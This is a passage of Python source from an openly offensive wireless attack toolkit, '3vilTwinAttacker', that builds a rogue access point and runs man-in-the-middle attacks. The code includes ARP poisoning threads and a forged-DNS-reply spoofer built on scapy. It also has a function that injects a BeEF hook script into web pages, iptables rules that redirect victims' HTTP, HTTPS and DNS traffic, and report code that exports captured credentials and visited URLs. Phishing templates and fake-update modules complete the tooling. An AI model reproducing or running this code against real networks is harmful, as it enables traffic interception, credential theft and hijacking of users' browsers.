self.page_1.addWidget(self.txt_ranger) 275 | self.page_1.addWidget(QLabel('3vilTwinAttacker Themes:')) 276 | self.page_1.addWidget(self.theme1) 277 | self.page_1.addWidget(self.theme2) 278 | 279 | #settings tab Advanced 280 | self.interface.setText(self.xmlSettings('interface', 'monitor_mode', None, False)) 281 | self.Apname.setText(self.xmlSettings('AP', 'name', None, False)) 282 | self.channel.setValue(int(self.xmlSettings('channel', 'mchannel', None, False))) 283 | self.rangeIP.setText(self.xmlSettings('Iprange', 'range', None, False)) 284 | self.redirectport.setText(self.xmlSettings('redirect', 'port', None, False)) 285 | self.InterfaceNetCreds.setText(self.xmlSettings('netcreds', 'interface', None, False)) 286 | 287 | #add tab Advanced 288 | self.page_2.addRow(QLabel('Thread ScanIP:')) 289 | self.page_2.addRow(self.scan1) 290 | self.page_2.addRow(self.scan2) 291 | self.page_2.addRow('Interface Monitor:',self.interface) 292 | self.page_2.addRow('AP Name:',self.Apname) 293 | self.page_2.addRow('Channel:',self.channel) 294 | self.page_2.addRow('DHCP Range:',self.rangeIP) 295 | self.page_2.addRow('Port sslstrip:',self.redirectport) 296 | self.page_2.addRow('NetCreds Interface:',self.InterfaceNetCreds) 297 | 298 | 299 | #add tab iptables 300 | self.page_3.addWidget(QLabel('Iptables:')) 301 | self.page_3.addRow(self.ListRules) 302 | self.page_3.addRow(self.check_redirect) 303 | self.page_3.addRow(self.checkssltripPort) 304 | 305 | self.form.addRow(self.tabcontrol) 306 | self.form.addRow(self.btn_save) 307 | self.Main.addLayout(self.form) 308 | self.setLayout(self.Main) 309 | -------------------------------------------------------------------------------- /Modules/utils.py: -------------------------------------------------------------------------------- 1 | #The MIT License (MIT) 2 | #Copyright (c) 2015-2016 mh4x0f P0cL4bs Team 3 | #Permission is hereby granted, free of charge, to any person obtaining a copy of 4 | #this software and associated documentation files (the "Software"), to deal in 5 | #the Software without restriction, including without limitation the rights to 6 | #use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of 7 | #the Software, and to permit persons to whom the Software is furnished to do so, 8 | #subject to the following conditions: 9 | #The above copyright notice and this permission notice shall be included in all 10 | #copies or substantial portions of the Software. 11 | #THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 12 | #IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS 13 | #FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR 14 | #COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER 15 | #IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN 16 | #CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 17 | from struct import pack 18 | from fcntl import ioctl 19 | from time import sleep,asctime 20 | from random import randint 21 | from os import popen,path,walk,system,getpid 22 | from BeautifulSoup import BeautifulSoup 23 | from subprocess import call,check_output,Popen,PIPE,STDOUT 24 | from re import search,compile,VERBOSE,IGNORECASE 25 | import socket 26 | try: 27 | from nmap import PortScanner 28 | except ImportError: 29 | pass 30 | import threading 31 | from threading import Thread 32 | from Queue import Queue, Empty 33 | from scapy.all import * 34 | from PyQt4.QtCore import * 35 | from PyQt4.QtGui import * 36 | import logging 37 | def airdump_start(interface): 38 | process = ProcessThread(['xterm', 39 | '-geometry', '85x15-1+250', '-T', 40 | '"Scan AP Airodump-ng"', '-e', 'airodump-ng', interface, 41 | '--write', 'Settings/Dump/networkdump']) 42 | process.name = "Airodump-ng scan" 43 | process.start() 44 | process.join() 45 | return None 46 | 47 | def Beef_Hook_url(html,hook_url): 48 | soup = BeautifulSoup(html) 49 | try: 50 | for link_tag in soup.findAll('body'): 51 | link_tag_idx = link_tag.parent.contents.index(link_tag) 52 | link_tag.parent.insert(link_tag_idx + 1, BeautifulSoup(hook_url)) 53 | link_tag.parent.insert(link_tag_idx + 1, BeautifulSoup("
")) 54 | return soup 55 | except: 56 | return None 57 | 58 | def get_network_scan(): 59 | list_scan = [] 60 | try: 61 | xml = BeautifulSoup(open("Settings/Dump/networkdump-01.kismet.netxml", 'r').read()) 62 | for network in xml.findAll('wireless-network'): 63 | essid = network.find('essid').text 64 | if not essid: 65 | essid = 'Hidden' 66 | channel = network.find('channel').text 67 | bssid = network.find('bssid').text 68 | list_scan.append(channel + "||" + essid + "||" + bssid) 69 | popen("rm Settings/Dump/networkdump*") 70 | return list_scan 71 | except IOError: 72 | return None 73 | 74 | 75 | class ThreadScan(QThread): 76 | def __init__(self,gateway): 77 | QThread.__init__(self) 78 | self.gateway = gateway 79 | self.result = '' 80 | def run(self): 81 | nm = PortScanner() 82 | a=nm.scan(hosts=self.gateway, arguments='-sU --script nbstat.nse -O -p137') 83 | for k,v in a['scan'].iteritems(): 84 | if str(v['status']['state']) == 'up': 85 | try: 86 | ip = str(v['addresses']['ipv4']) 87 | hostname = str(v['hostscript'][0]['output']).split(',')[0] 88 | hostname = hostname.split(':')[1] 89 | mac = str(v['hostscript'][0]['output']).split(',')[2] 90 | if search('',mac):mac = '' 91 | else:mac = mac[13:32] 92 | self.result = ip +'|'+mac.replace('\n','')+'|'+hostname.replace('\n','') 93 | self.emit(SIGNAL('Activated( QString )'), 94 | self.result) 95 | except : 96 | pass 97 | 98 | class set_monitor_mode(QDialog): 99 | def __init__(self,interface,parent = None): 100 | super(set_monitor_mode, self).__init__(parent) 101 | self.interface = interface 102 | def setEnable(self): 103 | try: 104 | output = check_output(['ifconfig', self.interface, 'down']) 105 | output += check_output(['iwconfig', self.interface, 'mode','monitor']) 106 | output += check_output(['ifconfig', self.interface, 'up']) 107 | if len(output) > 0:QMessageBox.information(self,'Monitor Mode', 108 | 'device %s.%s'%(self.interface,output)) 109 | return self.interface 110 | except Exception ,e: 111 | QMessageBox.information(self,'Monitor Mode', 112 | 'mode on device %s.your card not supports monitor mode'%(self.interface)) 113 | def setDisable(self): 114 | Popen(['ifconfig', self.interface, 'down']) 115 | Popen(['iwconfig', self.interface, 'mode','managed']) 116 | Popen(['ifconfig', self.interface, 'up']) 117 | 118 | class ProcessThread(threading.Thread): 119 | def __init__(self,cmd): 120 | threading.Thread.__init__(self) 121 | self.cmd = cmd 122 | self.iface = None 123 | self.process = None 124 | self.logger = False 125 | 126 | def run(self): 127 | print 'Starting Thread:' + self.name 128 | if self.name == 'Airbase-ng': 129 | setup_logger('airbase', './Logs/requestAP.log') 130 | log_airbase = logging.getLogger('airbase') 131 | log_airbase.info('---[ Start Airbase-ng '+asctime()+']---') 132 | log_airbase.info('-'*52) 133 | self.logger = True 134 | self.process = Popen(self.cmd,stdout=PIPE,stderr=STDOUT) 135 | for line in iter(self.process.stdout.readline, b''): 136 | if self.logger: 137 | if search('Created tap interface',line): 138 | Popen(['ifconfig',line.split()[4], 'up']) 139 | self.iface = line.split()[4] 140 | log_airbase.info(line.rstrip()) 141 | print (line.rstrip()) 142 | 143 | def stop(self): 144 | print 'Stop thread:' + self.name 145 | if self.process is not None: 146 | self.process.terminate() 147 | self.process = None 148 | 149 | class ThARP_posion(threading.Thread): 150 | def __init__(self, srcAddress, dstAddress): 151 | threading.Thread.__init__(self) 152 | self.srcAddress = srcAddress 153 | self.dstAddress = dstAddress 154 | self.process = True 155 | def run(self): 156 | while self.process: 157 | send(ARP(op=2, 158 | pdst=self.dstAddress, 159 | psrc=self.srcAddress), 160 | verbose=False,count=3) 161 | def stop(self): 162 | self.process = False 163 | print 'Stop thread:' + self.name 164 | 165 | class ThDnsSpoofAttack(QThread): 166 | def __init__(self,domains,interface,filter,verbose,redirect): 167 | QThread.__init__(self) 168 | self.target = domains 169 | self.filter = filter 170 | self.verbose = verbose 171 | self.interface = interface 172 | self.redirect = redirect 173 | self.finished = False 174 | self.desc = ['Module DNS spoof Attack'] 175 | 176 | def run(self): 177 | print 'Starting Thread:' + self.objectName() 178 | self.sniff() 179 | 180 | def ARP(self,target,gateway): 181 | while True: 182 | try: 183 | send(ARP(op=2, 184 | pdst=target, 185 | psrc=gateway), 186 | verbose=False, count=3) 187 | send(ARP(op=2, 188 | pdst=gateway, 189 | psrc=target), verbose=False, count=3) 190 | except: 191 | pass 192 | 193 | def StartSpoof(self,q): 194 | while self.finished: 195 | sniff(iface = self.interface, 196 | count = 10, filter = self.filter, prn = lambda x : q.put(x)) 197 | 198 | def sniff(self): 199 | q = Queue() 200 | sniffer = Thread(target =self.StartSpoof, args = (q,)) 201 | sniffer.daemon = True 202 | sniffer.start() 203 | while (not self.finished): 204 | try: 205 | pkt = q.get(timeout = 1) 206 | self.Poisoning(pkt) 207 | except Empty: 208 | pass 209 | 210 | def Poisoning(self,packet): 211 | #this function coded by:Adastra 212 | #https://github.com/Adastra-thw/pyHacks/blob/master/MitmDnsSpoofingPoC.py 213 | if packet.haslayer(DNS) and packet.getlayer(DNS).qr == 0 and len(self.target) > 0: 214 | for targetDomain, ipAddressTarget in self.target.items(): 215 | if packet.getlayer(DNS).qd.qname == targetDomain: 216 | try: 217 | requestIP = packet[IP] 218 | requestUDP = packet[UDP] 219 | requestDNS = packet[DNS] 220 | requestDNSQR = packet[DNSQR] 221 | responseIP = IP(src=requestIP.dst, dst=requestIP.src) 222 | responseUDP = UDP(sport = requestUDP.dport, dport = requestUDP.sport) 223 | responseDNSRR = DNSRR(rrname=packet.getlayer(DNS).qd.qname, rdata = ipAddressTarget) 224 | responseDNS = DNS(qr=1,id=requestDNS.id, qd=requestDNSQR, an=responseDNSRR) 225 | answer = responseIP/responseUDP/responseDNS 226 | send(answer) 227 | except: 228 | pass 229 | def redirection(self): 230 | system("iptables --flush") 231 | system("iptables --zero") 232 | system("iptables --delete-chain") 233 | system("iptables -F -t nat") 234 | system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE') 235 | system("iptables --append FORWARD --in-interface "+self.interface+" --jump ACCEPT") 236 | system("iptables --table nat --append POSTROUTING --out-interface "+self.interface+" --jump MASQUERADE") 237 | system("iptables -t nat -A PREROUTING -p tcp --dport 80 --jump DNAT --to-destination "+self.redirect) 238 | system("iptables -t nat -A PREROUTING -p tcp --dport 443 --jump DNAT --to-destination "+self.redirect) 239 | system("iptables -t nat -A PREROUTING -i "+self.interface+" -p udp --dport 53 -j DNAT --to "+self.redirect) 240 | system("iptables -t nat -A PREROUTING -i "+self.interface+" -p tcp --dport 53 -j DNAT --to "+self.redirect) 241 | 242 | def stop(self): 243 | print 'Stop Thread:' + self.objectName() 244 | self.finished = True 245 | self.emit(SIGNAL('Activated( QString )'),'finished') 246 | 247 | '''http://stackoverflow.com/questions/17035077/python-logging-to-multiple-log-files-from-different-classes''' 248 | def setup_logger(logger_name, log_file, level=logging.INFO): 249 | l = logging.getLogger(logger_name) 250 | formatter = logging.Formatter('%(asctime)s : %(message)s') 251 | fileHandler = logging.FileHandler(log_file, mode='a') 252 | fileHandler.setFormatter(formatter) 253 | streamHandler = logging.StreamHandler() 254 | streamHandler.setFormatter(formatter) 255 | 256 | l.setLevel(level) 257 | l.addHandler(fileHandler) 258 | l.addHandler(streamHandler) 259 | 260 | class Refactor: 261 | 262 | @staticmethod 263 | def htmlContent(title): 264 | html = {'htmlheader':[ 265 | '', 266 | '', 267 | ''+title+'', 268 | '', 269 | '', 278 | '', 279 | '', 280 | '', 281 | '
', 282 | ''+title+'', 283 | '
', 284 | '
',
285 |             ]
286 |         }
287 |         return html
288 |     @staticmethod
289 |     def exportHtml():
290 |         readFile = {
291 |          'dhcp':{'Logs/dhcp.log':[]},
292 |          'urls':{'Logs/urls.log':[]},
293 |          'credentials': {'Logs/credentials.log':[]},
294 |          'requestAP':{'Logs/requestAP.log':[]}}
295 |         for i in readFile.keys():
296 |             for j in readFile[i]:
297 |                 with open(j,'r') as file:
298 |                     readFile[i][j] = file.read()
299 | 
300 |         contenthtml = Refactor.htmlContent('3vilTwinAttacker Report')
301 |         HTML = ''
302 |         for i in contenthtml['htmlheader']:
303 |             HTML += i+"\n"
304 |         HTML += 'Report Generated at::'+asctime()+'\n'
305 |         HTML += '-----------------------------------\n'
306 |         HTML += '--------[   DHCP Logger   ]--------\n'
307 |         HTML += readFile['dhcp']['Logs/dhcp.log']
308 |         HTML += '--------[   URLS Logger   ]--------\n'
309 |         HTML += readFile['urls']['Logs/urls.log']
310 |         HTML += '--------[   Creds Logger  ]--------\n'
311 |         HTML += readFile['credentials']['Logs/credentials.log']
312 |         HTML += '--------[   FakeAP Logger ]--------\n'
313 |         HTML += readFile['requestAP']['Logs/requestAP.log']
314 |         HTML += '-----------------------------------\n'
315 |         HTML += '
\n'+'\n'+'\n' 316 | return HTML 317 | 318 | @staticmethod 319 | def set_ip_forward(value): 320 | with open('/proc/sys/net/ipv4/ip_forward', 'w') as file: 321 | file.write(str(value)) 322 | file.close() 323 | ''' 324 | http://stackoverflow.com/questions/159137/getting-mac-address 325 | ''' 326 | @staticmethod 327 | def getHwAddr(ifname): 328 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 329 | info = ioctl(s.fileno(), 0x8927, pack('256s', ifname[:15])) 330 | return ':'.join(['%02x' % ord(char) for char in info[18:24]]) 331 | 332 | @staticmethod 333 | def get_interfaces(): 334 | interfaces = {'activated':None,'all':[],'gateway':None,'IPaddress':None} 335 | proc = Popen("ls -1 /sys/class/net",stdout=PIPE, shell=True) 336 | for i in proc.communicate()[0].split(): 337 | interfaces['all'].append(i) 338 | output1 = popen('route | grep default').read().split() 339 | output2 = popen('/sbin/ip route | grep default').read().split() 340 | if (output2 and output1) != []: 341 | if output1 != []:interfaces['gateway'],interfaces['activated'] = output1[1],output1[7] 342 | elif output2 != []: 343 | if path.isfile('/sbin/ip'): 344 | interfaces['gateway'],interfaces['activated'] = output2[2], output2[4] 345 | interfaces['IPaddress'] = Refactor.get_ip_local(interfaces['activated']) 346 | return interfaces 347 | 348 | @staticmethod 349 | def get_ip_local(card): 350 | if not card != None: 351 | get_interface = Refactor.get_interfaces()['activated'] 352 | out = popen("ifconfig %s | grep 'Bcast'"%(get_interface)).read().split() 353 | for i in out: 354 | if search("end",i): 355 | if len(out) > 0: 356 | ip = out[2].split(":") 357 | return ip[0] 358 | if len(out) > 0: 359 | ip = out[1].split(":") 360 | return ip[1] 361 | else: 362 | out = popen("ifconfig %s | grep 'Bcast'"%(card)).read().split() 363 | for i in out: 364 | if search("end",i): 365 | if len(out) > 0: 366 | ip = out[2].split(":") 367 | return ip[0] 368 | if len(out) > 0: 369 | ip = out[1].split(":") 370 | return ip[1] 371 | return None 372 | 373 | @staticmethod 374 | def get_mac(host): 375 | fields = popen('grep "%s " /proc/net/arp' % host).read().split() 376 | if len(fields) == 6 and fields[3] != "00:00:00:00:00:00": 377 | return fields[3] 378 | else: 379 | return ' not detected' 380 | 381 | @staticmethod 382 | def get_interface_mac(device): 383 | result = check_output(["ifconfig", device], stderr=STDOUT, universal_newlines=True) 384 | m = search("(?<=HWaddr\\s)(.*)", result) 385 | if not hasattr(m, "group") or m.group(0) == None: 386 | return None 387 | return m.group(0).strip() 388 | 389 | @staticmethod 390 | def randomMacAddress(prefix): 391 | for _ in xrange(6-len(prefix)): 392 | prefix.append(randint(0x00, 0x7f)) 393 | return ':'.join('%02x' % x for x in prefix) 394 | 395 | 396 | @staticmethod 397 | def check_is_mac(value): 398 | checked = compile(r"""( 399 | ^([0-9A-F]{2}[-]){5}([0-9A-F]{2})$ 400 | |^([0-9A-F]{2}[:]){5}([0-9A-F]{2})$ 401 | )""",VERBOSE|IGNORECASE) 402 | if checked.match(value) is None:return False 403 | else: 404 | return True 405 | @staticmethod 406 | def threadRoot(sudo_password): 407 | call(['sudo','-k']) 408 | p = Popen(['sudo', '-S','./3vilTwin-Attacker.py'], stdin=PIPE, stderr=PIPE, 409 | universal_newlines=True) 410 | waiter().start() 411 | p.communicate(str(sudo_password) + '\n')[1] 412 | 413 | @staticmethod 414 | def find(name, paths): 415 | for root, dirs, files in walk(paths): 416 | if name in files: 417 | return path.join(root, name) 418 | 419 | class waiter(threading.Thread): 420 | def run(self): 421 | sleep(10) 422 | call(['kill','-9',str(getpid())]) -------------------------------------------------------------------------------- /Modules/ModuleArpPosion.py: -------------------------------------------------------------------------------- 1 | #The MIT License (MIT) 2 | #Copyright (c) 2015-2016 mh4x0f P0cL4bs Team 3 | #Permission is hereby granted, free of charge, to any person obtaining a copy of 4 | #this software and associated documentation files (the "Software"), to deal in 5 | #the Software without restriction, including without limitation the rights to 6 | #use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of 7 | #the Software, and to permit persons to whom the Software is furnished to do so, 8 | #subject to the following conditions: 9 | #The above copyright notice and this permission notice shall be included in all 10 | #copies or substantial portions of the Software. 11 | #THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 12 | #IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS 13 | #FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR 14 | #COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER 15 | #IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN 16 | #CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 17 | from PyQt4.QtGui import * 18 | from PyQt4.QtCore import * 19 | from Core.Settings import frm_Settings 20 | from Modules.ModuleUpdateFake import frm_update_attack 21 | from Modules.ModuleTemplates import frm_template 22 | from Modules.utils import ProcessThread,Refactor,ThreadScan 23 | from os import popen,chdir,getcwd,getuid,devnull,system 24 | from scapy.all import * 25 | import threading 26 | from urllib2 import urlopen,URLError 27 | from re import search,compile 28 | from multiprocessing import Process,Manager 29 | from time import sleep 30 | threadloading = {'template':[],'posion':[]} 31 | 32 | class frm_Arp(QMainWindow): 33 | def __init__(self, parent=None): 34 | super(frm_Arp, self).__init__(parent) 35 | self.form_widget = frm_Arp_Poison(self) 36 | self.setCentralWidget(self.form_widget) 37 | 38 | 39 | 40 | class ThreadAttackPosion(QThread): 41 | def __init__(self,victim,gateway,mac): 42 | QThread.__init__(self) 43 | self.victim = victim 44 | self.gateway = gateway 45 | self.mac = mac 46 | self.process = True 47 | 48 | def run(self): 49 | print 'Starting Thread:' + self.objectName() 50 | while self.process: 51 | arp = ARP(op=1,psrc=self.gateway,pdst=self.victim,hwdst=self.mac) 52 | send(arp,verbose=False) 53 | sleep(2) 54 | 55 | def stop(self): 56 | self.process = False 57 | print 'Stop thread:' + self.objectName() 58 | self.emit(SIGNAL('Activated( QString )'),'Ok') 59 | 60 | 61 | class frm_Arp_Poison(QWidget): 62 | 63 | def __init__(self, parent=None): 64 | super(frm_Arp_Poison, self).__init__(parent) 65 | self.setWindowTitle('Arp Posion Attack ') 66 | self.setWindowIcon(QIcon('rsc/icon.ico')) 67 | self.Main = QVBoxLayout() 68 | self.owd = getcwd() 69 | self.control = False 70 | self.interfaces = Refactor.get_interfaces() 71 | self.configure = frm_Settings() 72 | self.loadtheme(self.configure.XmlThemeSelected()) 73 | self.module_network = Refactor 74 | self.data = {'IPaddress':[], 'Hostname':[], 'MacAddress':[]} 75 | self.ThreadDirc = {'Arp_posion':[]} 76 | global threadloading 77 | self.GUI() 78 | 79 | def closeEvent(self, event): 80 | if (len(self.ThreadDirc['Arp_posion']) != 0) or len(threadloading['template']) !=0: 81 | reply = QMessageBox.question(self, 'About Exit','Are you sure to close ArpPosion?', QMessageBox.Yes | 82 | QMessageBox.No, QMessageBox.No) 83 | if reply == QMessageBox.Yes: 84 | event.accept() 85 | if getuid() == 0: 86 | try: 87 | for i in self.ThreadDirc['Arp_posion']: 88 | i.stop(),i.join() 89 | for i in threadloading['template']: 90 | i.stop(),i.join() 91 | threadloading['template'] = [] 92 | except:pass 93 | self.deleteLater() 94 | else: 95 | pass 96 | else: 97 | event.ignore() 98 | 99 | def loadtheme(self,theme): 100 | sshFile=("Core/%s.qss"%(theme)) 101 | with open(sshFile,"r") as fh: 102 | self.setStyleSheet(fh.read()) 103 | 104 | def GUI(self): 105 | self.form =QFormLayout() 106 | self.movie = QMovie('rsc/loading2.gif', QByteArray(), self) 107 | size = self.movie.scaledSize() 108 | self.setGeometry(200, 200, size.width(), size.height()) 109 | self.movie_screen = QLabel() 110 | self.movie_screen.setFixedHeight(200) 111 | self.movie_screen.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Expanding) 112 | self.movie_screen.setAlignment(Qt.AlignCenter) 113 | self.movie.setCacheMode(QMovie.CacheAll) 114 | self.movie.setSpeed(100) 115 | self.movie_screen.setMovie(self.movie) 116 | self.movie_screen.setDisabled(False) 117 | 118 | self.movie.start() 119 | self.tables = QTableWidget(5,3) 120 | self.tables.setRowCount(100) 121 | self.tables.setFixedHeight(200) 122 | self.tables.setSelectionBehavior(QAbstractItemView.SelectRows) 123 | self.tables.setEditTriggers(QAbstractItemView.NoEditTriggers) 124 | self.tables.clicked.connect(self.list_clicked_scan) 125 | self.tables.resizeColumnsToContents() 126 | self.tables.resizeRowsToContents() 127 | self.tables.horizontalHeader().resizeSection(1,120) 128 | self.tables.horizontalHeader().resizeSection(0,145) 129 | self.tables.horizontalHeader().resizeSection(2,158) 130 | self.tables.verticalHeader().setVisible(False) 131 | Headers = [] 132 | for key in reversed(self.data.keys()): 133 | Headers.append(key) 134 | self.tables.setHorizontalHeaderLabels(Headers) 135 | 136 | self.txt_target = QLineEdit(self) 137 | self.txt_gateway = QLineEdit(self) 138 | self.txt_redirect = QLineEdit(self) 139 | self.txt_mac = QLineEdit(self) 140 | self.ip_range = QLineEdit(self) 141 | self.txt_status_scan = QLabel('') 142 | self.txt_statusarp = QLabel('') 143 | self.txt_status_phishing = QLabel('') 144 | 145 | self.StatusMonitor(False,'stas_scan') 146 | self.StatusMonitor(False,'stas_arp') 147 | self.StatusMonitor(False,'stas_phishing') 148 | scan_range = self.configure.xmlSettings('scan','rangeIP',None,False) 149 | self.ip_range.setText(scan_range) 150 | 151 | self.btn_start_scanner = QPushButton('Scan') 152 | self.btn_stop_scanner = QPushButton('Stop') 153 | self.btn_Attack_Posion = QPushButton('Start Attack') 154 | self.btn_Stop_Posion = QPushButton('Stop Attack') 155 | self.btn_server = QPushButton('Templates') 156 | self.btn_windows_update = QPushButton('Fake Update') 157 | self.btn_server.setFixedHeight(22) 158 | self.btn_stop_scanner.setFixedWidth(100) 159 | self.btn_start_scanner.setFixedWidth(100) 160 | self.btn_start_scanner.setFixedHeight(22) 161 | self.btn_stop_scanner.setFixedHeight(22) 162 | self.btn_windows_update.setFixedHeight(22) 163 | 164 | self.btn_start_scanner.clicked.connect(self.Start_scan) 165 | self.btn_stop_scanner.clicked.connect(self.Stop_scan) 166 | self.btn_Attack_Posion.clicked.connect(self.Start_Attack) 167 | self.btn_Stop_Posion.clicked.connect(self.kill_attack) 168 | self.btn_server.clicked.connect(self.show_template_dialog) 169 | self.btn_windows_update.clicked.connect(self.show_frm_fake) 170 | 171 | #icons 172 | self.btn_start_scanner.setIcon(QIcon('rsc/network.png')) 173 | self.btn_Attack_Posion.setIcon(QIcon('rsc/start.png')) 174 | self.btn_Stop_Posion.setIcon(QIcon('rsc/Stop.png')) 175 | self.btn_stop_scanner.setIcon(QIcon('rsc/network_off.png')) 176 | self.btn_server.setIcon(QIcon('rsc/page.png')) 177 | self.btn_windows_update.setIcon(QIcon('rsc/winUp.png')) 178 | 179 | self.grid0 = QGridLayout() 180 | self.grid0.minimumSize() 181 | self.grid0.addWidget(QLabel('ArpPosion:'),0,2) 182 | self.grid0.addWidget(QLabel('Phishing:'),0,4) 183 | self.grid0.addWidget(QLabel('Scanner:'),0,0) 184 | self.grid0.addWidget(self.txt_status_scan,0,1) 185 | self.grid0.addWidget(self.txt_statusarp,0,3) 186 | self.grid0.addWidget(self.txt_status_phishing,0,5) 187 | 188 | 189 | # grid options 190 | self.grid1 = QGridLayout() 191 | self.grid1.addWidget(self.btn_start_scanner,0,0) 192 | self.grid1.addWidget(self.btn_stop_scanner,0,1) 193 | self.grid1.addWidget(self.btn_server,0,2) 194 | self.grid1.addWidget(self.btn_windows_update, 0,3) 195 | 196 | #btn 197 | self.grid2 = QGridLayout() 198 | self.grid2.addWidget(self.btn_Attack_Posion,1,0) 199 | self.grid2.addWidget(self.btn_Stop_Posion,1,5) 200 | 201 | x = self.interfaces 202 | if x['gateway'] != None: 203 | self.txt_gateway.setText(x['gateway']) 204 | self.txt_redirect.setText(x['IPaddress']) 205 | self.txt_mac.setText(Refactor.getHwAddr(x['activated'])) 206 | 207 | self.form0 = QGridLayout() 208 | self.form0.addWidget(self.movie_screen,0,0) 209 | self.form0.addWidget(self.tables,0,0) 210 | self.form.addRow(self.form0) 211 | self.form.addRow(self.grid1) 212 | self.form.addRow('Target:', self.txt_target) 213 | self.form.addRow('Gateway:', self.txt_gateway) 214 | self.form.addRow('MAC address:', self.txt_mac) 215 | self.form.addRow('Redirect IP:', self.txt_redirect) 216 | self.form.addRow('IP ranger Scan:',self.ip_range) 217 | self.form.addRow(self.grid0) 218 | self.form.addRow(self.grid2) 219 | self.Main.addLayout(self.form) 220 | self.setLayout(self.Main) 221 | 222 | def thread_scan_reveice(self,info_ip): 223 | self.StatusMonitor(False,'stas_scan') 224 | self.movie_screen.setDisabled(False) 225 | self.tables.setVisible(True) 226 | data = info_ip.split('|') 227 | Headers = [] 228 | self.data['IPaddress'].append(data[0]) 229 | self.data['MacAddress'].append(data[1]) 230 | self.data['Hostname'].append(data[2]) 231 | for n, key in enumerate(reversed(self.data.keys())): 232 | Headers.append(key) 233 | for m, item in enumerate(self.data[key]): 234 | item = QTableWidgetItem(item) 235 | item.setTextAlignment(Qt.AlignVCenter | Qt.AlignCenter) 236 | self.tables.setItem(m, n, item) 237 | Headers = [] 238 | for key in reversed(self.data.keys()): 239 | Headers.append(key) 240 | self.tables.setHorizontalHeaderLabels(Headers) 241 | 242 | 243 | def show_frm_fake(self): 244 | self.n = frm_update_attack() 245 | self.n.setGeometry(QRect(100, 100, 450, 300)) 246 | self.n.show() 247 | 248 | def emit_template(self,log): 249 | if log == 'started': 250 | self.StatusMonitor(True,'stas_phishing') 251 | 252 | def show_template_dialog(self): 253 | self.Ftemplates = frm_template() 254 | self.connect(self.Ftemplates,SIGNAL('Activated ( QString ) '), self.emit_template) 255 | self.Ftemplates.setWindowTitle('Templates Phishing Attack') 256 | self.Ftemplates.txt_redirect.setText(self.txt_redirect.text()) 257 | self.Ftemplates.show() 258 | 259 | def kill_attack(self): 260 | for i in self.ThreadDirc['Arp_posion']: 261 | i.stop() 262 | for i in threadloading['template']: 263 | i.stop(),i.join() 264 | threadloading['template'] = [] 265 | try: 266 | self.Ftemplates.killThread() 267 | except:pass 268 | chdir(self.owd) 269 | self.StatusMonitor(False,'stas_arp') 270 | self.StatusMonitor(False,'stas_phishing') 271 | self.conf_attack(False) 272 | Refactor.set_ip_forward(0) 273 | 274 | @pyqtSlot(QModelIndex) 275 | def check_options(self,index): 276 | if self.check_face.isChecked(): 277 | self.check_route.setChecked(False) 278 | self.check_gmail.setChecked(False) 279 | 280 | elif self.check_gmail.isChecked(): 281 | self.check_face.setChecked(False) 282 | self.check_route.setChecked(False) 283 | else: 284 | self.check_face.setChecked(False) 285 | self.check_gmail.setChecked(False) 286 | 287 | def StopArpAttack(self,data): 288 | self.StatusMonitor(False,'stas_arp') 289 | def Start_Attack(self): 290 | if (len(self.txt_target.text()) and len(self.txt_mac.text()) and len(self.txt_gateway.text())) == 0: 291 | QMessageBox.information(self, 'Error Arp Attacker', 'you need set the input correctly') 292 | else: 293 | chdir(self.owd) 294 | if (len(self.txt_target.text()) and len(self.txt_gateway.text())) and len(self.txt_mac.text()) != 0: 295 | if len(self.txt_redirect.text()) != 0: 296 | self.StatusMonitor(True,'stas_arp') 297 | Refactor.set_ip_forward(1) 298 | self.conf_attack(True) 299 | thr = ThreadAttackPosion(str(self.txt_target.text()), 300 | str(self.txt_gateway.text()), 301 | str(self.txt_mac.text())) 302 | self.connect(thr,SIGNAL('Activated ( QString ) '), self.StopArpAttack) 303 | thr.setObjectName('Arp Posion') 304 | self.ThreadDirc['Arp_posion'].append(thr) 305 | thr.start() 306 | 307 | def conf_attack(self,bool_conf): 308 | if bool_conf: 309 | self.ip = self.txt_redirect.text() 310 | if len(self.ip) != 0: 311 | iptables = [ 312 | 'iptables -t nat --flush', 313 | 'iptables -A FORWARD --in-interface '+str(self.txt_gateway.text())+' -j ACCEPT', 314 | 'iptables -t nat --append POSTROUTING --out-interface ' +self.interfaces['activated'] +' -j MASQUERADE', 315 | 'iptables -t nat -A PREROUTING -p tcp --dport 80 --jump DNAT --to-destination '+self.ip 316 | ] 317 | for i in iptables: 318 | try:system(i) 319 | except:pass 320 | else: 321 | QMessageBox.information(self,'Error Redirect IP','Redirect IP not found') 322 | else: 323 | nano = [ 324 | 'iptables --flush', 325 | 'iptables --table nat --flush' ,\ 326 | 'iptables --delete-chain', 'iptables --table nat --delete-chain' 327 | ] 328 | for delete in nano: popen(delete) 329 | 330 | def Start_scan(self): 331 | self.StatusMonitor(True,'stas_scan') 332 | threadscan_check = self.configure.xmlSettings('advanced','Function_scan',None,False) 333 | self.tables.clear() 334 | self.data = {'IPaddress':[], 'Hostname':[], 'MacAddress':[]} 335 | if threadscan_check == 'Nmap': 336 | try: 337 | from nmap import PortScanner 338 | except ImportError: 339 | QMessageBox.information(self,'Error Nmap','The modules python-nmap not installed') 340 | return 341 | if self.txt_gateway.text() != '': 342 | 